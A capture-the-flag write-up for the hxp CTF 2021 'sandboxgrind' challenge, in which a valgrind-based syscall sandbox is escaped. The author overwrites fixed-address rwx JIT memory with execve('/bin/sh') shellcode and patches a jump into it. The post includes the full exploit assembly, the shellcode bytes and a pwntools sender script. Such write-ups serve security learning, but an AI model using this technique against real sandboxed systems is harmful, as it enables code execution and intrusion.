sandboxgrind
- Event: hxp CTF 2021
- Category: pwn
- Solves: 32
- Points: 244
Overview
The challenge files can be downloaded from here. This was a sandbox written with the help of valgrind - it’s written as a valgrind tool and run with
/sandboxgrind/bin/valgrind --vgdb=no --quiet --tool=sandboxgrind ${BINARY} 2>&${OUT}
The file Makefile.am
was totally not important and will be skipped here.
sandboxgrind.c
was a little bit important, it says that all syscalls
are blocked. What’s the most important - valgrind is not a sandbox tool, it’s purpose is
dynamic analysis of a binary.
Understanding valgrind
I was reading something that valgrind uses JIT to do the emulation, the
first step was to check out more closely how it works. My first idea was to attach gdb to check if there are some rwx
mappings.
To attach gdb to a process inside a docker add to Dockerfile following lines for root user:
RUN apt -y install gdb gdbserver
RUN apt -y install procps
Inside the docker container do gdbserver localhost:2001 --attach PID
.
On host do target remote localhost:2001
. Also add --privileged
and -p 2001:2001
flags to docker run
command.
Here is a script that is responsible just for compiling and sending our
code in sh.asm
file:
from pwn import *
from os import system
r = remote ("localhost",9001)
#r = remote("168.119.235.55",9001)
system("nasm sh.asm -felf64")
system("ld -s -o sh sh.o")
print(r.recvuntil(", end with EOF\n"))
os.system("base64 sh > sh64")
b = read("sh64").decode("utf-8")
r.sendline(b)
r.interactive()
For the beginning I sent just an infinite loop, sh.asm file looks this way:
bits 64
global _start
section .text
_start:
jmp $
It turned out that there are rwx
regions and almost every mapping
is loaded onto the same address at every run:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/tmp.JMDzf9HfCqe68kuGPvYTZ66alZkCtEUusV (deleted)
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/tmp.JMDzf9HfCqe68kuGPvYTZ66alZkCtEUusV (deleted)
0x0000000004000000 0x0000000004001000 0x0000000000000000 rwx
0x0000000058000000 0x0000000058001000 0x0000000000000000 r-- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058001000 0x000000005819b000 0x0000000000001000 r-x /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x000000005819b000 0x0000000058230000 0x000000000019b000 r-- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058231000 0x0000000058236000 0x0000000000230000 rw- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058236000 0x0000000058c29000 0x0000000000000000 rw- [heap]
0x0000001002001000 0x00000010026bc000 0x0000000000000000 rwx
0x000000100277c000 0x000000100297c000 0x0000000000000000 rwx
0x000000100297c000 0x000000100297e000 0x0000000000000000 ---
0x000000100297e000 0x0000001002a7e000 0x0000000000000000 rwx
0x0000001002a7e000 0x0000001002a80000 0x0000000000000000 ---
0x0000001002b71000 0x0000001003af1000 0x0000000000000000 rwx
0x0000001ffefff000 0x0000001fff001000 0x0000000000000000 rwx
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
Also our JITed code is loaded always in exactly the same addres. This is just our infinite loop:
gef➤ x/6i 0x1002d9d000
0x1002d9d000: dec DWORD PTR [rbp+0x8]
=> 0x1002d9d003: jns 0x1002d9d008
0x1002d9d005: jmp QWORD PTR [rbp+0x0]
0x1002d9d008: mov r11,0x401000
0x1002d9d00f: mov QWORD PTR [rbp+0xb8],r11
0x1002d9d016: jmp 0x1002d9d000
Exploitation
At this point I started trying random things like overwriting
memory of the process.
I didn’t find any interesting pointers in valgrind that could give easy win
but I discovered that it is possible to write to various regions, for
example to the place where our JITed code is located, and to others rwx
regions.
Unfortunately it’s not possible to simply jmp to the address we wish because
this is blocked.
So the idea was to copy our shellcode to the place where JITed code starts - 0x1002d9d000
, and do jmp _start
.
bits 64
global _start
section .text
_start:
mov rsi, shellcode
mov rdi, 0x1002d9d000
mov rcx, 37
rep movsb
jmp _start
section .data
shellcode: db 72,184,1,1,1,1,1,1,1,1,80,72,184,46,99,104,111,46,114,105,1,72,49,4,36,72,137,231,49,210,49,246,106,59,88,15,5
The shellcode was copied succesfully but this exploit didn’t work because jmp _start
was not JITed to
jmp 0x1002d9d000
like in the first example, but to 0x1002d9d34b: jmp 0x1002d9d098
:(.
Maybe some optimalization or some other strange stuff.
But when I tried to copy the shellcode to 0x1002d9d098
, it also didn’t
work, I got such an error:
==13==
==13== Process terminating with default action of signal 4 (SIGILL): dumping core
==13== Illegal operand at address 0x1002D9D098
==13== at 0x401019: ??? (in /tmp/tmp.r00rA6FJaXTj83WFngvPpffs5SeWTaQDfo)
I was doing some tests with different addresses,
and sometimes I was getting the same error and sometimes my buff that I copied
was overwritten again by JIT to a proper code. Only copying
to 0x1002d9d000
worked.
I started to look how JITed code looks like. Basically copying code after JITing is huuuuge. And this is how it looks after my simplifications:
asm_code1:
some assembly code
jmp asm_code2
ud2
ud2
ud2
ud2
asm_code2:
some assembly code
jmp asm_code3
ud2
ud2
ud2
ud2
asm_code3:
some assembly code
jmp asm_code4
...
And every part of asm code has a call, or several calls to the place in a different mapping
0x1002d9d1fd: movabs r11,0x580410ce
0x1002d9d207: call r11
Probably there are some checks that destroy my plans.
So finally, my last idea that actually worked, was to copy the shellcode
to the beginning of our mapping (0x1002d9d000
) and also
to overwrite only 5 bytes somewhere to jmp to 0x1002d9d000
.
But this place that we overwrite must be right after JITed code that
overwrites it - so that a function throwing errors won’t be executed. But
how to find that address? For now, let’s add following code (after the code copying shellcode) and attach gdb:
mov rax, 0x1002d9d000
mov rbx, 0xDEADDEAD
mov [rax],rbx
jmp $
In gdb we see:
0x1002d9d2be: add BYTE PTR [rax],al
0x1002d9d2c0: dec DWORD PTR [rbp+0x8]
0x1002d9d2c3: jns 0x1002d9d2c8
0x1002d9d2c5: jmp QWORD PTR [rbp+0x0]
0x1002d9d2c8: movabs r10,0x1002d9d000
0x1002d9d2d2: mov QWORD PTR [rbp+0x10],r10
0x1002d9d2d6: movabs r10,0xdeaddead
0x1002d9d2e0: mov QWORD PTR [rbp+0x28],r10
0x1002d9d2e4: mov QWORD PTR [rbp+0xb8],0x40102f
0x1002d9d2ef: movabs r10,0x1002d9d000
0x1002d9d2f9: movabs r9,0xdeaddead
0x1002d9d303: mov QWORD PTR [r10],r9 ; <- here is this overwrite
0x1002d9d306: mov r11,0x401032
0x1002d9d30d: mov QWORD PTR [rbp+0xb8],r11
0x1002d9d314: jmp 0x1002d9d328
So we can now change mov rax, 0x1002d9d000
to mov rax, 0x1002d9d306
and 0xDEADDEAD
to the:
In [3]: asm ("jmp $-0x306")
Out[3]: b'\xe9\xf5\xfc\xff\xff'
This is a change of only 2 numbers so our code will compile the same way and addresses will stay the same.
Here is the final code:
bits 64
global _start
section .text
_start:
mov rsi, shellcode
mov rdi, 0x1002d9d000
mov rcx, 37
rep movsb
mov rax, 0x1002d9d306
mov rbx, 0x000000fffffcf5e9 ; jmp 0x1002d9d000
mov [rax],rbx
jmp $
section .data
shellcode: db 72,184,1,1,1,1,1,1,1,1,80,72,184,46,99,104,111,46,114,105,1,72,49,4,36,72,137,231,49,210,49,246,106,59,88,15,5
Finally I got the flag and I wonder how other people solved it because probably there are a lot of ways of doing it.